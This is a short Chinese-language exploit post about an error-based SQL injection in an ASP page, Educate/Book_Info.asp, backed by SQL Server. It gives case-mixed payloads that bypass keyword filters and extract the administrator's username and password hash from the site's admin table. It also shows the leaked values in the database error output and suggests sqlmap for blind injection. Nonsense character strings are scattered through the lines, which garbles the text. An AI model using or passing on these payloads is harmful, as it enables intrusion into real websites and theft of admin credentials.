漏洞出现在Educate/Book_Info.asp ; [ u0 l: K% D; S5 _. X- Y1 [
9 _9 O4 |9 b) k2 R6 q
此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出3 J, i! x4 _) S: ?
6 q" g0 ~. L7 a n
exp:如下& L; D; ?1 M3 ^5 t( x
查询管理账号:+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)/ y# |! q9 ~' a. L: `) k& u
查询管理密码:+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
1 h/ y0 [) S" m / y+ [2 p6 |) r& p+ g, y
http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
3 m9 p: y7 d2 l. \9 C$ e, w ) x j: N5 X8 |
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
/ h! [6 u+ o: Z/ a; h% J% O1 C
. k# i/ a1 d* g+ S- R0 E将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。) `( g* @/ y1 Z9 l+ N
9 u. ]9 Y1 [5 ]$ q4 A* T3 A/Educate/Book_Info.asp,行 8$ P) K1 j& ?8 M
. g0 o6 z! z% [& w8 o2 c4 s
http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)+ o2 H* l. _$ H& g ]9 J; j6 l
& z Q* w6 d7 @5 J' T8 {5 `6 m/ w
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'+ k+ ]9 U8 _: e% p
/ j- }, ^: \! z. a. B1 |将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。
- I* C0 K" Y7 `! v) c; U- a l . x- H# a2 O9 ~2 G
/Educate/Book_Info.asp,行 8: @! E0 n! X2 S. ` P
|